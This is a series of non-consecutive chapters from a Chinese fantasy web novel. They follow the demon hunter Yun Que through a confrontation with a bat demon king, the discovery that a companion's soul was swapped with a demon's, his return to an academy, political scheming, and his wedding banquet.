听到蝠王口出人言,云缺并不意外。 如此强大的妖物,心智必然极高,能说人话正常不过。 让云缺意外的是,蝠王居然索要司徒盼晴,更不惜用放走自己为代价。 蝠王好像对司徒盼晴很看重。 刚才蝠王扇动巨翅,阻止妖群尖啸的举动,好像也在为了保护司徒盼晴。 云缺想不通缘由,拒绝道: “用不着你饶我一命,这丫头我肯定要带走,她是人,不是妖,想灭族的话,你可以拦我试试。” 蝠王大口开合,道: “猖狂的人类,既然你想死,我成全你!” 呼!!! 蝠王突然探出巨爪,朝着云缺抓来。 云缺自然不甘示弱,双肩的妖爪齐齐拍出。 当妖爪与巨爪撞击同时,蝠王大口中喷出一道风旋。 那风旋足有数丈方圆,顷刻间将云缺困在其中。 等云缺奋力挣脱狂风,肩上的司徒盼晴居然消失不见! 猛然抬头,云缺看到司徒盼晴正被蝠王的巨爪抓住。 “把她还给我。”云缺冷冷喝道。 吼!!! 回答云缺的,是蝠王凶猛的吼声。 云缺彻底暴怒,你会吼,我也会! 吼!!! 妖气暴起,云缺发出野兽般的怒吼。 蝠王更是将吼声提高数倍,可怕的音浪几乎将空气震荡出波纹。 三阶妖王的吼声,恐怖至极。 在蝠王的吼声中,云缺头顶的妖气开始汇聚,浮现出一颗血狸之首。 血狸大口开合,与云缺同样发出吼声。 恶战开始之前,洞窟里吼声不断。 蝠王的厉吼越发高昂。 吼!!!吼!吼!吼!吼!吼!吼!吼??? 吼到最后,蝠王的吼声不知为何出现震惊的波动,随后竟奇怪的闭上了巨口。 蝠王闭嘴,云缺和血狸可没闭嘴。 云缺的吼声不大,血狸的吼声震耳欲聋。 一边吼,一边冲向蝠王,几乎顶着对方的鼻子嘶吼不断。 云缺不吼了,看着头顶的血狸巨首开始发呆。 血狸此刻的模样,像极了对着蝠王大骂,云缺有一种奇怪的感觉,蝠王好像被喷一脸吐沫星子似的,偏偏不敢还口,一边挨喷,还一边眯着眼睛,有一种无奈之感。 血狸吼了半晌,这才回归云缺的头顶。 蝠王沉默良久,再次发出低沉的声音: “公主殿下……” 听闻这四个字,云缺瞬间恍然。 难怪蝠王被吼得不吱声,原来认出了月魁! 云缺这才想起来,月魁是妖都公主,栖息在北域妖都附近的蝠王,肯定与妖都公主是熟人。 妖气涌动间,凝炼出月魁的人身形态。 现身之后,月魁张嘴就骂: “吼什么吼!你嗓门大是不是,吵死人了!再吼把你舌头割掉,让你变哑巴!” 蝠王沉默不语。 云缺也沉默不语。 现在云缺算看懂了,妖都公主不仅是公主病晚期,还是个泼妇…… 月魁劈头盖脸把蝠王一顿臭骂,蝠王始终一声不吭。 穹顶的数百头朔风蝠纷纷将肉翅裹紧身体,伪装成石笋,一动不动,眼睛都不敢睁,可能是在祈祷着公主别看见它们,拿蝠王撒气就好。 等月魁骂够了,蝠王声音低沉的道: “公主殿下为何寄宿于人族之躯,妖身在何处?” “没了,被人炼成了刀!你高兴了是不是!亏你还认得我这个公主,当年妖都之战,你跑得倒是挺快!以后别说你是妖都的人,妖都没有你这种贪生怕死的废物!”月魁愤恨的骂道。 蝠王被骂成废物,一点也不恼,低垂着头,不敢还口。 见月魁能震慑住对方,云缺收敛了妖气,道: “姐,让它把司徒盼晴放开。” 月魁掐着腰,朝着蝠王吼道:“听到没有!放开那小丫头!” 蝠王倒是听话,将司徒盼晴轻轻放在地面。 别看被巨爪给抓走,司徒盼晴毫发无损,可见蝠王没想伤她,只是想将司徒盼晴从云缺手里夺过去。 云缺抱起司徒盼晴,正要查看一番伤势。 司徒盼晴突然张嘴咬在云缺肩头。 云缺的肉身极其强悍,法器都未必砍得动,何况是司徒盼晴的牙齿。 司徒盼晴没咬动,接着一下跃起,手脚着地逃离了云缺,竟爬到蝠王脚下,躲在巨爪后,朝着云缺龇牙低吼,敌意十足。 云缺无比疑惑,喊道: “你不认得我了?我是云缺啊,你是司徒盼晴,你在司天监排行老五,你不记得了?” 司徒盼晴仍旧张牙舞爪。 任凭云缺如何呼唤,就是不肯过来。 蝠王发出低沉的声音: “不用喊了,她不认得你,她也不是你口中的司徒盼晴。” “那她是谁?”云缺质问道。 蝠王低头看了眼脚下的女孩,道: “它是我的孩子,朔风蝠一脉最有天赋的后辈。” “不可能!她明明是人,怎么会是妖!”云缺道。 身为猎妖人,云缺对妖气极其敏感,他能断定司徒盼晴身上没有妖气,虽然行为举动类似妖兽,但绝对是人的身体。 蝠王的声音中多了一种无奈,道: “她曾经被人掠走,丢失十余年,不久前,我在天祈城附近察觉到她的气息,于是冒险潜入城内,找到了她,当时她是人身,但朔风蝠有着与生俱来的独特气息,我可以清晰分辨。” “我的孩子,被人用特殊手段融入了活人之躯,已经与人族肉身融为一体,我用尽办法,终于将她们分割开来,本想带走孩子,结果出现意外。” “分开的人身与妖身均都完整无缺,可以继续活下去,但是她们的神魂错位了,我孩子的神魂留在人族身体当中,而那人族女孩的神魂,则留在了妖族躯体之内。” “我本想将她们全都带走,不料妖族身躯醒来后突然逃掉,躲在城内。” “当时我察觉到有强者的灵识在接近,天祈城太危险,我不敢久留,只好将人族身体带了回来,这便是以往的经过。” 听闻了经过,云缺怔在原地。 司徒盼晴,果然与幽人类似,也被改造为妖武者! 很快云缺反应过来。 确切的说,司徒盼晴并不是妖武者,因为她修的是道门一脉,不是武夫。 难道又是魏墨城的试验品? 云缺此刻惊疑不定。 幽人与司徒盼晴身上都有妖物融合,那么司天监其他弟子,会不会身上也有妖物? 牧青瑶会不会有危险? “魏墨城……你究竟要做什么?” 云缺狠狠咬着牙,心潮翻滚。 随后云缺豁然一惊,目光望向司徒盼晴。 如果蝠妖说的是事实,皇城里那只朔风蝠拥有着司徒盼晴的灵魂,岂不是说,司徒盼晴已经死了! 云缺深吸一口气,问道: “有没有可能,她身上还残留有司徒盼晴的神魂,她会不会醒过来?” 蝠王缓缓摇头,道: “两道神魂已经各自归位,属于人族的神魂永远留在了妖族身上,现在的她,只是拥有人类身体的朔风蝠。” “我要带她走。”云缺斩钉截铁的道。 “不行,她是我的孩子,除非你能证明她还是人类,否则,她只能留在北域。”蝠王沉声道。 云缺与蝠王的争执,月魁没插手。 这种局面太过罕见,现在的司徒盼晴说成是蝠妖也没错,毕竟失去神魂的人类,只剩下躯壳而已,蝠王留下自己的孩子,无可厚非。 “她不是妖!”云缺怒道。 “证明给我看。”蝠王道。 “好,我证明给你看!” 说罢,云缺拿出身上的几种灵丹与灵草,试着引司徒盼晴过来。 结果司徒盼晴非但不过来,还一个劲的低吼,敌意十足。 云缺又试着说了很多皇城的事,司徒盼晴还是低吼不断。 云缺无计可施,心里随之渐渐绝望。 现在的司徒盼晴,显然成了一头拥有人身的妖物,不听人言,不喜灵丹,油盐不进。 无奈之际,云缺顺手摸了摸兜,随后眼前一亮。 第342章 第五幅壁画 自从见识到月魁在蝠王面前的趾高气昂,朔风蝠的老巢对于云缺来说就成了菜市场。 畅通无阻。 走路都是晃着膀子走,要不然对不起妖都公主的气势。 云缺现在后知后觉。 早知道月魁在北域这么有面子,根本不用找风先生帮忙,让月魁指路不就完了,走了一通弯路。 不过走弯路有时候也有好处。 如果不找风先生,就遇不到雷精,也就没有之后的雷霆锻体了,更不会有半个雷精封在手心的好处。 蝠王得知云缺想要去妖都,二话不说亲自陪同,载着云缺与司徒盼晴离开山洞,飞往更北的方向。 夜已深, 夜空中遍布星辰,地面是白雪皑皑,空旷而静怡。 司徒盼晴卷缩在云缺身旁,困得直打哈欠,眼皮打架,很快睡着了。 望着身旁的小小身影,云缺心情十分复杂。 既欣慰,又担忧。 欣慰着司徒盼晴还活着,担忧着牧青瑶与花不谢那几位其他监正弟子的命运。 回去之后,云缺打算将司徒盼晴安置在学宫。 避开监正的耳目。 司徒盼晴的状态,有可能揭开吕青的阴谋,挖出藏在暗中的魏墨城。 紧迫感,再次袭来。 大晋看似已经安稳,谁又能想到,大晋真正的危机不是燕太子,也不是红莲教,而是司天监! 云缺现在的根基,根本无法与魏墨城抗衡。 五百暗卫是一份战力,但远远不够,加上白厌的金吾卫与上官鸿途的刑部,仍旧相差甚远。 如果魏墨城就是抓走妖都之主的紫袍人,那么他的修为绝对达到了一个无法估量的恐怖程度。 大晋之内,怕是没有对手。 七叔远行,国师回山。 云缺现在唯一的助力,只剩下天祈学宫。 “至少在二品境界……” 云缺猜测着紫袍人的修为。 因为妖都之主就是二阶化羽,想要擒获达到二阶程度的强大妖族,没有二品修为想都别想。 云缺仿佛看到了一个无穷无尽的巨大漩涡,在天祈城内不断旋转。 即便如今有了六品修为,一旦扯进漩涡,必定粉身碎骨! 蚍蜉撼树,螳臂当车,一个个词汇从云缺脑海里蹦出来。 云缺觉得自己就是蚍蜉,就是螳臂,根本挡不住那恐怖的漩涡。 换成旁人,若是察觉到如此危机,定会远远躲避,能逃多远逃多远。 云缺逃不了。 因为牧青瑶在天祈,斩妖司在天祈,自己拥有第二把妖刀的谜题也在天祈。 云缺不会逃。 自从成为猎妖人以来,无论前面挡路的是妖邪还是鬼怪,他都会一刀斩开,一路向前。 空旷冷冽的北域世界,云缺感受着冷风袭面,心神变得如同万年寒冰般坚毅,不知不觉中轻吟道: “长风破浪会有时,直挂云帆济沧海,飞雪连天,不过些许风霜而已。” 一句些许风霜,道尽一世傲然。 身为斩妖之人,注定一生行走于生死边缘,区区危机,何时怕过! 这,便是云缺与生俱来的傲气。 不过傲气归傲气,冒一会儿就行了,整天一身傲气的,那叫冒傻气。 云缺拍了拍蝠王,客气的道: “蝠王大人,有没有想过出山呐,北域天寒地冻资源匮乏,总窝在这里,进阶无望啊。” 第344章 让她咬 北域边缘。 三天时限即将结束,学宫弟子陆续回返,有人收获颇丰,有人伤痕累累。 楼船停靠在木楼旁,学子们开始登船,准备返回学宫。 萍山君回来的时候,楼船即将腾空。 老虎急忙溜上船,把身上驮着的梅钱往甲板上一扔,自己找个没人的地方藏好,生怕被其他女学子发现,又来蹂躏它。 接近楼船之前,梅钱失去控制,昏厥在虎背上,神秘老者的元神没入护心镜中。 之所以萍山君回来的这么慢,是因为刚刚觉醒上古风雷虎的血脉之力,雷电翅膀时灵时不灵的,飞一会儿跑一会儿,堪堪赶在最后时刻抵达。 老虎一上船,头上的雪鸮立刻跳了下去,一蹦一蹦的去找主人。 原本灵动的两只小眼珠,现在木讷茫然,好似受了什么刺激,浑身白羽变得脏兮兮,不少已经焦糊。 三天雪域之行,老虎会飞了,雪鸮不会飞了。 比起所有学子的历练,雪鸮的遭遇是最凄惨的,被绑在老虎脑袋上,经历了一连串噩梦般的遭遇。 尤其最后追踪朔风蝠的时候,云缺为了激发老虎的速度连拍雷掌,当时忘了雪鸮也在老虎身上,把雪鸮电得一个劲哆嗦。 昏厥的梅钱很快被人发现,宋道理亲自赶来查看伤势,给梅钱灌下灵丹。 时间一到,楼船缓缓腾空。 齐御贼眉鼠眼的找到角落里的萍山君,小声询问: “云缺呢,他怎么没跟你一起回来?” 萍山君趴在地上无精打采的道:“云缺死了。” “啊?死了!” 齐御大惊,没敢多问,灰溜溜走开。 齐御现在十分内疚。 当时暴雪过后,他和云缺遭遇冰蛭,他对付一条六阶冰蛭,把更恐怖的五阶冰蛭丢给了云缺。 齐御觉得云缺那么能打,即便不是五阶冰蛭的对手,逃掉应该没问题,结果得知云缺居然死了。 “你一个人能打我们演武殿一群,怎么连只虫子都打不过?唉,云师弟在天之灵千万别怪我,实在是师兄实力不济,我也打不过五阶冰蛭啊,逢年过节我肯定给你多烧点纸……” 齐御认为是自己害死了云缺,唉声叹气,嘀嘀咕咕。 甲板上,两位先生与学正站在船头。 风先生手里托着雪鸮,面甲下的目光里泛着疑惑之色。 雪鸮的状态实在惨不忍睹,风先生实在想不通,自己的灵兽到底被云缺带去了什么地方。 带去挨雷劈了? 孔气气盘坐在船头,鼓着小嘴儿生闷气。 没挖到妖都的材料不说,还差点迷路,绕了好大一个圈子才赶回来,途中撞到好几头强大的妖兽,浪费了几粒灵丹。 偷鸡不成蚀把米,这便是灵匠殿先生此行的真实写照。 “云缺还未回来,怕是凶多吉少。” 风先生沉声道。 沟通雪鸮后,风先生大致得知了云缺的经历,知道云缺追踪一头朔风蝠飞往了雪域深处。 “再等等。” 宋道理皱眉道,一张黑脸上现出担忧之色。 楼船悬浮在北域边缘,默默等待着。 孔气气等得无聊,抗议道: “还要等多久哇,我讨厌北域!破地方再也不来了!” 话音刚落,远处飞来一道黑影,犹如一朵乌云。 随着乌云接近,一股恐怖的妖气席卷而来! 楼船上所有学子在这股妖气中心神巨震,噤若寒蝉,有些境界低微的直接被妖气携带的威压震慑得昏了过去。 满船学子,没人敢妄动半分,根本不敢出门查看,甚至不知道妖气从何而来。 妖气袭来,船头的两位先生与学正纷纷神色巨变。 “妖王!” 风先生目光低沉,浑身涌动起磅礴灵气,挥手间一片火焰出现在面前。 火焰燃烧得十分奇特,不伤甲板,也感觉不到温度,瞬间凝聚出一头火焰雄狮。 这头雄狮浑身由烈焰组成,趴伏在风先生身前,朝着接近的乌云发出沉沉低吼。 火焰雄狮散发的气息不弱于妖王,只是雄狮身上的烈焰并不规则,有的地方燃烧得明亮,有的地方暗淡无光,显然受到过重创。 “三阶妖王居然会出现在北域外围!” 宋道理惊讶不已,调动全部文气,准备迎战。 “又是这只大蝙蝠!它怎么追过来了,我没偷东西呀!” 孔气气一下跳了起来,身边的大铜锤迎风而长,变成巨锤状态,一圈圈金色光泽在巨锤上不断扩散。 一听偷东西三个字,风先生与宋道理无奈不已。 整个学宫的所有先生,就属这位灵匠殿先生爱惹事。 风先生与宋道理都觉得是孔气气在北域深处抢了妖族的宝贝,这才引来一头三阶妖王。 否则正常情况下,几乎不可能在北域边缘见到妖王这等强大的妖族。 随着乌云接近,显现出一头巨大无比的蝠王,飞行到楼船附近百丈开外,停在半空,一双巨眼盯住了船头的三人,目光中充满敌视。 风先生宋道理与孔气气各自运转法力,他们知道一场恶战无法避免。 妖族与人族向来势不两立,一旦遭遇,必定殊死相搏,罕有例外,又何况是妖王现身。 几人正准备出手恶战之际,忽然有玉鹰从蝠王背上飞起,直奔楼船甲板而来。 准备出手的三人看到飞行法器,立刻齐齐一愣,随后看清了法器上载着两人。 “是云缺!” 宋道理低呼道。 风先生与孔气气看到云缺后也倍感诧异。 对面的可是三阶妖王,怎么能驮着人? 这不成了坐骑! 三阶妖族的恐怖,学子们或许并不清楚,但身为先生与学正,自然一清二楚。 宋道理是四品儒修,如果他一个人面对蝠王,根本不是对手,下场只有被吞噬这一条路。 尤其让三人惊奇的是,三阶妖族驮人这种怪事。 之所以称呼三阶妖族为妖王,说明这种境界的妖族不仅有着强大的实力,还有着王者般的孤傲。 别说驮人了,不吃人都算人家心情好。 风先生在御兽之道颇有造诣,他自然看得出那蝠王绝非驯化的样子,根本不可能载着人族飞行。 风先生被眼前的一幕彻底震撼,实在想不通云缺到底用了什么办法,才能乘坐妖王。 落在船头,云缺收起飞行法器。 司徒盼晴见到陌生人立刻变得躁动不安,躲在云缺身后龇牙低吼。 云缺朝着先生与学正拱手施礼,语速极快的道: “学生抓了头大的!此次历练是不是应该第一了?” 不快点不行啊,蝠王眼看着要走。 宋道理张了张嘴,麻木的点头道: “是……” 抓了只三阶妖王,你不第一谁第一。 云缺道:“多谢学正认可……呀!它跑了!” 送完云缺,蝠王挥动巨翅,朝着北域深处飞去。 不明真相的人看来,确实是跑了。 云缺指着蝠王大骂道: “老妖你还敢跑?下次别让我抓到你!抓到了炖汤喝!” 两位先生一位学正呆愣愣的看着云缺。 一个六品学子敢指着三阶妖王骂老妖,说实话,他们三位这辈子真没见过。 尤其骂完了,对方还不吭声,这种奇观估计下辈子也见不到。 云缺转回身,表情失落的道:“学正,猎物跑了,我也算第一吧?” “呃……算吧。”宋道理始终在震惊当中,一时没回过神儿来。 云缺再次谢过学正认可。 蝠王的便宜没占到,学宫的便宜不能不占,要不然这次北域历练岂不是什么好处都没捞到。 没好处的事,云缺能干么。 孔气气瞪大了眼睛,惊奇道: “你怎么抓到的大蝙蝠!” 云缺胡诌道:“说来话长,多亏了先生的那粒沙精,我打不过大蝙蝠,趁机扔给它粒沙子吃,结果吃完了它就变傻了,可能没吃好,吃进脑子里,脑子进沙子就容易对付多了。” “这样也行!” 孔气气仿佛听到了什么了不得的神功,催促道:“快开船!回去后多打造点沙精,我也要抓一头妖王玩玩!” 风先生与宋道理此时已经清醒过来。 两人目光复杂的看了看云缺,又目光怜悯的看了看孔气气,同时叹了口气。 这位灵匠殿先生,显然自己脑子进了沙子,也不想想,六品武夫怎么可能抓得到三阶妖王,显然云缺与那蝠王之间有猫腻。 既然话已经说出去,宋道理不好反悔,将云缺列为此次历练的第一名。 反正人家的确骑着妖王回来的,这一点千真万确,至于用了什么手段,那是云缺的能耐。 先生与学正各自回到房间,楼船调转船头,飞离了北域。 云缺拉着司徒盼晴,找到宋道理。 “学正帮忙瞧瞧,她的神魂出了问题,觉得自己是妖族,有没有办法让她的神智恢复过来?” 宋道理皱着眉,伸出手,想要感知司徒盼晴的状态。 结果司徒盼晴敌意大起,一口咬在宋道理手上。 云缺一惊,急忙去掰司徒盼晴的嘴巴。 “无妨,让她咬。” 宋道理阻止了云缺,仔细感知着司徒盼晴的神魂。 这段过程持续良久。 宋道理不是武夫,肉身并不强横,手背上被咬出了血迹,鲜血滴滴答答掉落地面。 然而这位学正一点都不在乎,只是始终紧锁眉峰。 半晌后,宋道理沉声道: “她的神魂十分杂乱,妖的意念居多,人的意念几乎没有,想要恢复过来,难如登天。” 第348章 只要会挖坑人生无难事 展示过身上的伤痕,朱静姝穿好衣袍,重新坐在云缺对面。 “现在,你应该信了吧,我活着的唯一目的,便是摧毁九夷城,拉着九夷人一起去地府。” 朱静姝说得风轻云淡,但眼底的恨意仿佛无穷无尽,目光冷得骇人。 “我相信你对九夷人的恨意。” 云缺沉吟良久,开口道:“但联手对付九夷城的事,免谈,我这王爷做得好好的,不想趟浑水。” “大晋兴亡,你也不在乎?”朱静姝道。 “我这人目光短浅,活一天赚一天,不懂什么雄才大略,等邵武国什么时候打过来再说。”云缺道。 “我不信你能置身事外,你娶了女帝,大晋就有你的一份,除非你背井离乡逃之夭夭,否则九夷人不会放过你这位平天王。”朱静姝道。 “大不了到时候我躲进学宫,九夷人厉害的话,让他们攻打天祈学宫来抓我好了。”云缺道。 面对云缺的慵懒无赖,朱静姝一时无话可说,她很想拉拢住云缺这份强援,可惜人家说什么也不上道。 “国破家亡之际,你会追悔莫及!”朱静姝怒气冲冲的一甩袖子,起身道。 “我的国,早破了,公主别忘了,我是大燕的猎妖人。”云缺呵呵一笑,道:“想要拖我下水,你得拿出足够的诚意才行,没好处的事,本王向来不做。” 朱静姝没离开,站在原地盯着云缺道: “我的诚意已经足够,半个邵武国的好处你都不要,你还想要什么好处?” “我要……”云缺笑容渐冷,道:“整个邵武国,包括九夷城。” 朱静姝始终稳健的神色,在此刻出现变化,脸上明显浮现出惊讶之色,道: “贪心不足蛇吞象,你不怕吃不下邵武国,反被噎死。” “放心,我胃口好,多少都吃得下,就怕你舍不得。”云缺道。 朱静姝的神色很快恢复平静,道: “好,我答应你,若能剔除九夷人,整个邵武国可以归你,邵武国早已名存实亡,并入大晋,未尝不可。” “一言为定,过阵子你就可以动手了。”云缺道。 “过阵子?我动手?”朱静姝诧异道:“你难道只想居于幕后?我一个人如何抗衡九夷城!” “我很忙的,我得帮你打造点东西,大晋硝石多,我给你弄个几百万斤,不够的话上千万斤也没多大问题,你带进九夷城引爆,轰一下,城就没了,多简单,反正你也不想活,正好了却你的一番心愿。”云缺道。 朱静姝冷冷的瞪着云缺,道: “几百万斤硝石,我怎么带进去,你当九夷人是傻子么。” “好办,你多准备点储物袋,慢慢往里运,一次不行运十次,十次不行一百次,细水长流,等硝石足够了,一根火把的事就解决了。”云缺道。 “你的计划真不错,只出矿,就能得到一国之地。”朱静姝冷笑道:“我必须也死在九夷城是么。” “你自己说的,你活着的唯一目的是拉着九夷人一起去地府,我只是帮你完成心愿而已。” 云缺叹了口气,道: “如果你不想死也简单,想想办法就是了,比如做一根燃烧缓慢的引线,或者干脆插根檀香,一炷香的时间足够你逃出城外,动动脑子好不好,你这种心智,我得仔细考虑考虑是否与你结盟。” 朱静姝神色变幻了一下。 她确实没想到这一点,只认为云缺说出的计划如天方夜谭,根本不可能实现,现在仔细一想,虽然成功率很低,但也有些机会。 第352章 父亲的遗物 房石送的小礼物,果然好用。 不久后,两人顺利走出山岭。 回到镇上,云缺将武大川的经历告知了首辅。 周史伯立刻察觉到事态危险。 “大雾本就伤人神魂,若血蛮大军趁机掩杀而来,后果不堪设想,必须加快进度迁徙百姓。” 云缺道: “藏石镇百姓没怎么出过门,小地方的百姓不知刑部的厉害,其他城镇会好些,陈兄接下来多费心。” “交给我了!”陈洲骅道。 当天,一行人离开藏石镇,赶往附近几个村镇。 离开的时候,陈洲骅与周史伯对云缺愈发佩服,藏石镇百姓的确只听云哥儿的,没到晚上,已经有很多人推着车,赶着牲口,陆续启程。 下一站,云缺选了乌鸡镇。 首辅照例去了府衙。 云缺没进镇子,而是来到镇子边缘处一间小屋。 这里是小豆丁的住处。 屋子里没人。 云缺来到屋后荒山。 果然看到小豆丁正蹲在一个坟包前烧着纸钱。 一边烧,一边嘀咕。 “姐姐,你在天上还好吗,天上冷,你要多穿些衣服,乌家寨已经没了,两只妖鸟也被杀了,云大哥帮你报仇啦,你在天上一定要保佑云大哥,保佑他战无不胜,多斩些妖怪……” 听到身后有脚步声,小豆丁猛然回头,大叫一声。 “云大哥!” 小豆丁像只小兽般扑在云缺身上,高兴不已。 揉了揉小女娃的头,云缺道: “你得搬家了,去八山城住,这里有危险。” 小豆丁点点头,望着坟包不舍的道:“姐姐怎么办?我搬走了,姐姐会想我的。” 云缺指了指天空,道: “你姐姐在天上,你到哪里,她就在哪里,她永远住在你头顶的天空。” “对哦!姐姐会一直陪着我!”小豆丁蹦蹦跳跳回木屋去收拾行李。 云缺来到小坟前,望着还未燃尽的火堆,低语道: “世上的妖真多啊,不仅深山大泽里有妖,天祈城里也有,九夷城里也有,斩都斩不完,不过没关系,我会一直斩下去。” “睡吧,我去斩妖了。” 云缺朝着乌灵儿的坟墓挥了挥手,转身离去。 小坟旁,开着一朵小白花。 微风吹来,花儿摇晃,仿佛在为远去的猎妖人助威,摇旗呐喊。 大雾弥漫,很快遮蔽了花朵。 坟墓之下,乌灵儿瘦小的白骨轻微晃动起来。 仿佛有某种力量,在驱使着白骨爬出地面…… 接连两日,云缺与首辅走遍知远县,有刑部和户部协助,百姓们搬迁的速度明显加快。 用不了几日,即可尽数迁移到八山城。 奔波这两日,周史伯与陈洲骅几乎没合眼,饭都没怎么吃。 云缺也没吃饭,一直吃灵丹,有天半夜饿得慌,直接把二十万两一份的龟兰汤给喝了。 不喝不知道,一喝吓一跳。 金乌丹的药效对于六品宗师来说已经足够强劲,一小瓶龟兰汤入肚,云缺觉得吃进去上百粒金乌丹,磅礴到恐怖的灵气如同风暴般冲进四肢百骸! 以云缺如今的肉身强度,勉强能扛得住龟兰汤的药效,换成其他六品宗师,喝完汤别想四处走动,必须全力炼化药效才行,半个月能站起来的都算强人。 第353章 老剽客 鸿儒殿修建得极有特色,宽敞的广场上立着五座假山,其上分别刻着仁、义、礼、智、信五个大字。 广场正中间有一块高大的石碑,其上是一些学子们的墨宝,可以随便书写,但字迹会随着时间流逝而逐渐消散。 谁的文气越盛,字迹会相对消失得越慢,由此验证儒家修为的高低。 云缺到的时候,鸿儒殿先生柳停风正要迈进学殿大门。 云缺心想既然来了,那就听一听课,等授课结束看看有没有机会套个近乎。 于是脚下发力,风一般冲出,先一步在先生进门前,闯了进去。 柳停风五旬上下,文质彬彬,穿着一身儒雅的长衫,手持羽扇,正迈步往里走呢,只觉得一阵狂风从身边吹过,扇子差点没拿稳。 瞪了眼落座的云缺,柳停风四平八稳的开始授课。 讲的是长篇大论,儒家学问,听得云缺昏昏欲睡。 先是昏昏,接着欲睡,最后直接睡着了,安静的课堂上,起伏着专属于武夫的呼噜声。 柳停风乃是一方大儒,对学问无比执着,最为看重规矩,哪有学子上课能睡着的,气得这位先生眼皮直跳的讲完了一堂课。 知远县的事,忙活了两天,云缺没怎么睡,这次睡得十分香甜。 直至听到一声冷哼,云缺才豁然惊醒。 睁眼一看, 脸色铁青的先生正站在面前,怒目而视。 先生很生气,云缺很后悔。 后悔着自己怎么能打呼噜呢,安安静静的小憩一会儿不行么,非要睡得如此惊天动地。 以后不能熬夜了,云缺暗暗自责,早睡早起才是正道。 柳停风看得出云缺的内疚,以为对方知道上课睡觉是对先生的侮辱,殊不知人家正在想着早睡早起,少打呼噜。 柳停风冷哼道: “天行健,君子以自强不息,大好年华昏昏欲睡,成何体统!” 云缺张口就答: “地势坤,君子以厚德载物,为民奔波劳累过度,先生担待。” 柳停风目光诧异了一下,道: “黄口小儿,大言不惭,焉知民如水,君如舟。” 云缺开口道: “耄耋老叟,倚老卖老,岂知少年强,国则兴。” 柳停风点点头,道: “对仗倒是工整,有些小聪明,罚你抄写四书五经各五十遍,字迹必须与对仗一样工整,何时写完,何时离开。” 柳停风大袖一挥,一摞白字出现在云缺面前,旁边是笔墨。 云缺不干了。 四书五经各五十遍,写到明天也写不完呐! “先生抱歉啊,我不是鸿儒殿的人,我其实是演武殿的学子叫齐御,这次来找人的,我这就走。” 云缺说完就想溜,结果走不出去。 四周仿佛有一层无形壁垒,四四方方,将云缺所在的座位完全封死。 柳停风冷哼一声,道: “你平天王的大名,学宫里早已无人不知,知错不改,反而说谎,我不管你是王爷也好,武夫也罢,到了我的鸿儒殿,就是我的学生,四书五经各抄写一百遍。” 云缺尴尬的笑了笑,无奈坐好。 原来人家早认得自己,这下坏菜了,写完一百遍,不知得几天。 第356章 死期已到 永平公主这个盟友,云缺根本不需要。 将其当成炮灰,倒是可以考虑。 与朱静姝这种人联盟,很容易被人家卖了都不知道。 朱静姝大大方方的拿出一个木盒,盒子里有一颗硕大的夜明珠。 “平天王与大晋女帝的大喜之日,我这位异国公主自然不能小气,特来贺喜。” 见云缺板着脸挡着路,朱静姝笑道:“怎么,难道大晋连这点度量都没有,怕我一个小女子搅乱婚宴么,你放心,我只是来讨杯喜酒而已,顺便见识见识大晋第一美人的庐山真面目。” 旁边有宫娥接过贺礼。 云缺冷声道:“吃酒可以,你若敢闹事,别怪我不客气。” 朱静姝笑道:“我很乖的,从来不会无理取闹,要不要我帮你卜一卦,算一算你的大喜之日是否顺利。” 云缺冷声道:“不必了,你算的一点都不准,街边的算命先生都比你算得灵。” 朱静姝笑道:“其实来之前,我已经替你算过,今天,你还有血光之灾,三连卦,均为下下签,实属罕见,你最近运气不怎么好啊,要小心哦,王爷。” 朱静姝面带轻笑越过云缺,走进大殿。 云缺冷哼了一声,嘀咕道: “今晚洞房,肯定见血,用你算。” 大殿内热热闹闹,酒菜飘香。 节目不少。 有舞姬献舞,有琴师助兴,有将军舞剑,有文臣吟诗。 今日女帝与平天王大婚,大家都觉得高兴,皇宫越热闹,代表着未来的大晋越繁华。 常威和瞎子不知在哪找了个铁圈儿,一人拉着一边,招呼萍山君也露一手,随后被愤怒的虎威将军一顿胖揍。 萍山君多日积压的恶气,终于有了发泄之处。 在学宫里咱是小猫,在外面咱是虎爷! 云缺进来的时候,看到牧青瑶正与几位将军夫人谈笑,青禾站在旁边。 在牧青瑶身后,还站着一名铁浮屠,一身重甲戴着头盔。 铁浮屠本就驻扎在皇宫,随时保护女帝,出现在大殿里并不意外。 让云缺觉得有点奇怪的是,今天这种日子,大殿里诸多将军在场,不会有危险,居然还有铁浮屠跟着。 招呼过一群熟人后,云缺来到牧青瑶近前。 几位将军夫人立刻见礼,知趣的各自归座。 牧青瑶今天穿着大红的嫁衣,并非龙袍,一张俏脸格外美丽,帝王的气势尽数抛掉,宛如寻常人家刚出嫁的女儿,带着几分憧憬,几分羞涩。 “娘子真美,跟画里的仙子一样。”云缺发自内心的赞道。 “再美的画,也只属于夫君一人。”牧青瑶温柔的轻声道。 云缺嘿嘿一笑,道: “说个正事,佛心殿的晦心禅师昨天找到我,求大晋帮忙收集些材料做场法事,为了超度西聚亡魂,我替你答应了,西边的怪雾应该与亡魂过多有关。” 牧青瑶惊喜道: “佛心殿先生若能出手,可解大晋之危!太好了!明天我便派人去学宫询问需要何种材料,大晋一定全力以赴协助晦心禅师。” “还有件事,我给你准备了一份礼物,等晚上再告诉你。”云缺神神秘秘的道。 “我也有礼物送给夫君。”牧青瑶调皮一笑。 “好哇,等洞房的时候,咱们比比谁的礼物好。”云缺嘿嘿笑道。 牧青瑶俏脸一红,偷偷掐了云缺一把。 喜庆的大殿,欢声笑语,云缺不由得心头一阵遗憾。 熟人都到了,唯独七叔没在。 也不知七叔去了何处,找没找到乾阳神木,会不会遇到危险。 云缺拿七叔,其实早就当做了自己的亲人。 世上最后一位亲人。 今日大婚,七叔没在场,云缺总觉得少了点什么。 牧青瑶看到云缺的表情,立刻猜到云缺的心思,轻声道: “七叔一定会回来的,如果不回来,我们可以去找他。” 云缺点点头,道: “你说得对,七叔为了我的伤势去寻找灵药,我已经恢复如初,不能让他在外面奔波忙碌。” 说话间,云缺听到大殿外有负责收礼的宫人在高声念着礼单。 “昔日故人贺礼,深海珊瑚屏风一对!走盘珠十盘!宝石五箱!法器百件!千年神木九尺!” 本来大殿内推杯换盏热火朝天,结果众人的声音渐渐被压了下去。 不是宫人的声音有多大,而是这份礼单太过惊人。 每一样单独拿出来都是大手笔,居然接连好几样,宝石都是成箱的送! 云缺听得好奇,想不出自己有什么故人如此大方。 没这么有钱的故人啊? 尤其最后的千年神木,这玩意能当礼物送? 根本是无价的宝贝! 云缺往外看了眼,送礼的拉着马车来的,两大车货,车上装得满满登登,分别有六名家仆打扮的下人护送。 没看到主人,只看到贺礼。 